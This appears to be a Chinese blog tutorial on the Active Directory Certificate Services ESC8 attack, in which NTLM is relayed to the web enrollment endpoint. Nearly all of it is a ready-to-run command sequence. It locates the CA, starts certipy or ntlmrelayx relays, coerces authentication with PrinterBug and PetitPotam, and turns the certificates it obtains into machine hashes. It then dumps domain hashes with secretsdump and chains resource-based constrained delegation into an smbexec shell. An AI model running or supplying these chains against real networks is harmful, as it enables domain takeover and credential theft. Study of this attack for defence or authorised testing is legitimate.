ESC8:NTLM Relay 中继到 Web 证书注册服务

因为Web证书注册服务默认使用NTLM协议进行身份认证,所以可以中继到访问Web证书注册服务的HTTP协议,然后就能利用目标用户的身份获得到此用户的身份验证证书。拿到此用户证书后,就拿到了此用户的凭据。

NTLM Relay的常见攻击场景:

  • 攻击域控:域控机器账户有 DCSync 权限,可以到处域内任意用户 hash。

  • 攻击 Exchange 服务器:这个服务器的机器账户能用于远程连接登录,也可以配置 DCsync 权限。

  • 攻击域内普通机器:域内普通机器账号可以结合基于资源的约束性委派,获得管理员权限。

漏洞利用(攻击域控)

  1. 定位adcs证书服务器

在域内的话,可以执行如下命令定位证书服务器。
certutil -config - -ping
#或者下面的命令,不弹框定位
certutil -dump -v
​
在域外的话,可以利用 certipy 工具执行如下命令定位证书服务器。
certipy find -u [email protected] -p p-0p-0p-0 -dc-ip 192.168.72.21 -debug

2. 攻击者监听

第一种:
certipy relay -target http://192.168.72.21/certsrv/certfnsh.asp -template 'DomainController' -ca HACK-DC01-CA
​
第二种:
python ntlmrelayx.py -t http://192.168.72.21/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'

3. 打印机漏洞或 PetitPotam 漏洞触发目标(域控)NTLM 身份验证回连到攻击者监听端口

#使用打印机漏洞触发
python printerbug.py HACK/deandean:[email protected] 192.168.72.162
​
#使用 Petitpotam 触发
python Petitpotam.py -d HACK.com -u deandean -p p-0p-0p-0 192.168.72.162 192.168.72.22
​
#触发后,第二步的监听脚本自动中继到 Web 证书注册服务申请证书

ESC8:NTLM Relay 中继到 Web 证书注册服务_第1张图片

4. 使用脚本获得的证书访问域控
#然后对获得的证书进行认证,得到域控 WIN-GI7DV30V4DO 的 hash
certipy auth -pfx WIN-GI7DV30V4DO$.pfx -dc-ip 192.168.72.21
​
# 如果是ntlmrelayx.py脚本监听的话,他会打印出base64 格式的证书,我们需要进行如下操作把它转为文件格式:
# 将打印出的证书保存为 certificate.txt,然后执行如下命令
cat certificate.txt | base64 -d > certificate.pfx
​
# 认证获得域控 DC01 的机器账号 hash
certipy auth -pfx certificate.pfx -dc-ip 192.168.72.21
​
# 使用域控 DC01 的凭据导出域内任意用户 hash
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:be75cf8695b6680ef74d954f89afc2d8 HACK/[email protected] -just-dc-user HACK/administrator -target-ip 192.168.72.21

ESC8:NTLM Relay 中继到 Web 证书注册服务_第2张图片

漏洞利用(攻击域内普通机器账户)

攻击域主机:192.168.72.24

  1. 定位adcs证书服务器

在域内的话,可以执行如下命令定位证书服务器。
certutil -config - -ping
#或者下面的命令,不弹框定位
certutil -dump -v
​
在域外的话,可以利用 certipy 工具执行如下命令定位证书服务器。
certipy find -u [email protected] -p p-0p-0p-0 -dc-ip 192.168.72.21 -debug

2. 攻击者监听

python ntlmrelayx.py -t http://192.168.72.21/certsrv/certfnsh.asp -smb2support --adcs --template 'Machine'

3. 打印机漏洞或 PetitPotam 漏洞触发目标(普通机器)NTLM 身份验证回连到攻击者监听端口

#使用打印机漏洞触发
python printerbug.py HACK/deandean:[email protected] 192.168.72.162
​
#使用 Petitpotam 触发
python Petitpotam.py -d HACK.com -u deandean -p p-0p-0p-0 192.168.72.162 192.168.72.24

ESC8:NTLM Relay 中继到 Web 证书注册服务_第3张图片

4. 使用脚本获得的证书访问目标机器
# 对获得的证书进行认证,得到目标机器账户的 hash
certipy auth -pfx comp1$.pfx -dc-ip 192.168.72.21

ESC8:NTLM Relay 中继到 Web 证书注册服务_第4张图片

  1. 给机器自身配置基于资源的约束性委派

python ./rbcd.py -f comp1 -t comp1 -dc-ip 192.168.72.21 HACKER\\comp1$ -hashes aad3b435b51404eeaad3b435b51404ee:714dec7d5972ba9db40bd77419f4de9f

ESC8:NTLM Relay 中继到 Web 证书注册服务_第5张图片

  1. 基于资源约束性委派攻击

#以 administrator 的身份申请一张访问 cifs/comp1$.HACK.com 服务的票据
python3 getST.py -dc-ip 192.168.72.21 HACK.com/comp1$ -hashes aad3b435b51404eeaad3b435b51404ee:714dec7d5972ba9db40bd77419f4de9f -spn cifs/comp1.HACK.com -impersonate administrator
​
#导入票据,记得设置好 dns,确保解析 comp1.HACK.com 到正确 ip
export KRB5CCNAME=administrator@[email protected]
​
python3 smbexec.py -no-pass -k comp1.HACK.com

ESC8:NTLM Relay 中继到 Web 证书注册服务_第6张图片

    你可能感兴趣的:(前端,网络,https,web安全,服务器,运维)